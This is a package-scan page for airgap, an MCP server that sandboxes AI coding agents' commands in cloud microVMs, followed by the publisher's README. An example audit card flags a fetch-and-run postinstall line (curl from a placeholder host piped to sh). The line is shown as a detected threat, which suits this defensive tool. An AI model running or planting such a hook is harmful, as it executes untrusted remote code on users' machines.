Scan your whole stack
Latest version: v0.2.1
airgap was last scanned on 24 Nov 2026 at version 0.2.1. Risk score 0 of 100. No malicious behavior was detected.
| Version | Published | Status |
|---|---|---|
| 0.2.1 LATEST | 24 Nov 2026 | 1 rule fired |
Findings for v0.2.1. The score is a capped sum of the weights of the rules that fired — not CVSS, not exploitability, and not a probability. It is not comparable across packages with different scan coverage.
An automated phrase check found wording such as "don't ask the user". It does not tell a skipped confirmation apart from an instruction to look something up instead of asking for it. Not reviewed by a person.
LOWThe score describes 0.2.1; other versions have their own rules, not their own score.
The publisher’s own README, as collected from the registry.
Disposable GMI AgentBox microVM execution, supply-chain auditing, and secret-redacting security boundary for AI coding agents.
AI coding agents like Claude Code, Cursor and Droid often need to run code: install packages, build a project, run its tests, or try a fix from a pull request. Normally that code runs on your own computer, next to your SSH keys, cloud tokens and private files. If the code is malicious, your machine pays for it.
airgap gives your agent a safe place to do that work instead. It is a small program that runs next to your editor. When your agent needs to run something, airgap sends only the files it needs to a fresh, throwaway Linux virtual machine on GMI Cloud, runs it there, and brings back the result. The virtual machine is deleted afterwards.
Along the way it also:
package.json, requirements.txt or Cargo.toml,You keep working as usual. Ask your agent to "use airgap and run the tests", and it does the rest.
flowchart LR
subgraph Host["Local Workstation (Protected)"]
Agent["AI Coding Agent<br/>(Claude Code / Cursor / Droid)"]
Airgap["airgap MCP Server<br/>(100% Rust stdio)"]
Scanners["Local Scanners<br/>• Secret Redactor<br/>• Supply-Chain Auditor"]
Agent --> Airgap
Airgap --> Scanners
end
subgraph Cloud["GMI Cloud Security Boundary"]
AgentBox["GMI AgentBox MicroVM<br/>(Node.js / Python / Rust containers)"]
MaaS["GMI MaaS<br/>(Defensive Prompt-Injection Classifier)"]
Airgap -->|"Explicit Files & Commands"| AgentBox
Airgap -->|"Sanitized Untrusted Text"| MaaS
end
AgentBox -->|"Test Logs & Exit Code"| Airgap
Airgap -->|"Compact Markdown Status Card"| Agent
Only files the agent passes explicitly are uploaded; the server never reads your working tree on its own. Sandbox output is redacted before it reaches the agent, and every sandbox is deleted after the run. The image template stays on GMI Cloud so later runs with the same image and instance type skip the build. Details: architecture and threat model.
| Local host execution | Docker on host | airgap cloud microVM | |
|---|---|---|---|
| Host contamination risk | High | Medium (shared kernel, mounted volumes) | None from executed code; it runs remotely |
| Needs local Docker daemon or VMs | No | Yes | No |
| Startup overhead | None | Local image pull and build | Remote provisioning; no local build (the first run per image builds a template, which can take minutes; later runs reuse it) |
| Pre-execution dependency audit | None | None | airgap_audit_supply |
| Secret scrubbing in logs | None | None | Automatic on sandbox output; airgap_redact_secrets for any text |
| Prompt-injection defense | None | None | Model-assisted airgap_scan_injection |
Every sandbox run and PR verification passes four gates in order. If one fails, the run stops there.
1. Install. The installers download a published release, verify its SHA-256 checksum and run airgap setup --yes.
# macOS / Linux
curl -fsSL https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.sh | bash
# Windows PowerShell
irm https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.ps1 | iex
With Node.js 18+, you can run the MCP server without a global install. The npm launcher downloads and verifies the matching release, caches it, and passes any arguments through to airgap:
npx -y airgap-mcp # start the stdio MCP server
npx -y airgap-mcp setup --yes # or run the normal setup flow
If no release is published yet, or you prefer source, use Cargo (Rust 1.89+ and a native linker):
cargo install --git https://github.com/dhruvil-codes/airgap --locked
2. Configure your editors. Run this from your workspace:
airgap setup # detected editors; Cursor, Claude Code and VS Code if none detected
airgap setup --cursor # one editor only
airgap setup --rules-only --yes # agent routing rules only
Setup registers the server for Claude Code, Cursor, VS Code and Factory Droid, and adds a managed routing-rule block to .cursorrules, CLAUDE.md and AGENTS.md. For Claude Code it adds mcp__airgap__* to permissions.allow without changing permissions.defaultMode, so airgap tools run without prompts while host tools (Bash, Write, Edit) keep their existing confirmation gates (pass --claude-bypass-permissions only if you explicitly want to disable all Claude Code tool prompts; see setup). GMI keys are written only to user-level configs (~/.claude.json, ~/.cursor/mcp.json, ~/.factory/mcp.json). Workspace files such as .mcp.json, .cursor/mcp.json, .vscode/mcp.json and .factory/mcp.json never store credentials, and setup removes keys it finds there. Set GMI_AGENTBOX_API_KEY and GMI_MAAS_API_KEY first (see .env.example); local scanners work without them.
3. Check health.
airgap doctor
Doctor checks both keys, the MaaS gateway, AgentBox compute eligibility, the configured model, and every registered editor config, labeled by client and scope. It creates no billable resources.
Reload your editor and prompt normally. The server instructions and routing rules tell the agent to pick and chain the tools itself:
| You say | The agent calls |
|---|---|
| "use airgap and run tests" | airgap_audit_supply on the manifest, then airgap_sandbox_run |
| "use airgap to verify this PR diff" | airgap_verify_patch (falls back to airgap_sandbox_run on a provider error) |
| "use airgap to audit dependencies" | airgap_audit_supply |
| "triage issue #42" | airgap_scan_injection on the issue text before acting on it |
Routing rules guide tool choice; they cannot enforce it. Adding this server does not disable the agent's own terminal tools, so configure client permissions if all execution must go through airgap.
Sandbox, patch verification and supply-chain tools return a box-drawn terminal card for the agent; secret redaction and injection scans return a compact Markdown card. Every tool also returns the full JSON as structuredContent. These two cards are real output from the release binary:
╭─ 🛡️ AIRGAP SUPPLY-CHAIN AUDIT ──────────────────────────────────────────────────────╮
│ RISK 🚨 HIGH DURATION 4ms │
│ FLAGGED 2 items SCOPE Manifest heuristics │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ FLAGGED COMMANDS │
│ • npm script postinstall: curl -s https://example.invalid/x.sh | sh │
│ • dependencies/left-pad: remote or local dependency requires review │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ 🔒 Manifest heuristics evaluated. Local host protected. │
╰──────────────────────────────────────────────────────────────────────────────────────╯
🛡️ **Airgap Secret Redactor** · ⏱️ **5ms**
🔒 **1 Secret Redacted**
> DATABASE_URL=postgres://app@db/prod
> DB_PASSWORD=[REDACTED]
> max_tokens = 4096
Sandbox and verification cards have the same frame. Their duration includes remote provisioning, so expect seconds rather than milliseconds (the values below are illustrative):
╭─ 🛡️ AIRGAP SANDBOX EXECUTION ───────────────────────────────────────────────────────╮
│ STATUS ✅ PASSED EXIT CODE 0 │
│ IMAGE docker.io/library/rust:1-bookworm DURATION 41870ms │
│ COMPUTE gmi.sandbox.medium SANDBOX 100% Host Guarded │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ OUTPUT │
│ running 1 test │
│ test arithmetic ... ok │
│ │
│ test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ 🔒 Host Protected: Executed inside isolated GMI AgentBox MicroVM. Zero local │
│ modifications. │
╰──────────────────────────────────────────────────────────────────────────────────────╯
╭─ 🛡️ AIRGAP REMOTE PATCH VERIFICATION ───────────────────────────────────────────────╮
│ VERDICT ❌ UNVERIFIED DURATION 38210ms │
│ STATUS 46 passed · 2 failed COMPUTE gmi.sandbox.medium │
│ IMAGE docker.io/library/node:20-bookworm SANDBOX 100% Host Guarded │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ TEST SUITE METRICS │
│ Pass Rate: 96% [█████████████████████████████░] 46/48 │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ FAILURE REASONS │
│ • Patch apply or test command failed (exit code 1). │
│ • 2 test(s) failed. │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ OUTPUT (last 20 lines) │
│ ✘ parser › rejects empty input │
│ ✘ parser › keeps trailing newline │
│ ─ │
│ 2 tests failed │
├──────────────────────────────────────────────────────────────────────────────────────┤
│ 🔒 Zero Host Contamination: Clean base snapshot verified in disposable cloud │
│ sandbox. │
╰──────────────────────────────────────────────────────────────────────────────────────╯
Find threats in your stack.
OX Radar can check high-priority threats, like critical package CVEs, against your context.
Each incident is marked Detected or Not Detected with a remediation plan and proof all tracked in the Response Center.
The probe returned only these fields for this server — auth requirement, protocol and tool list weren’t observed, so they’re not shown (never guessed).
The publisher’s own links, as the registry reports them. These are not sources for the assessment on this page.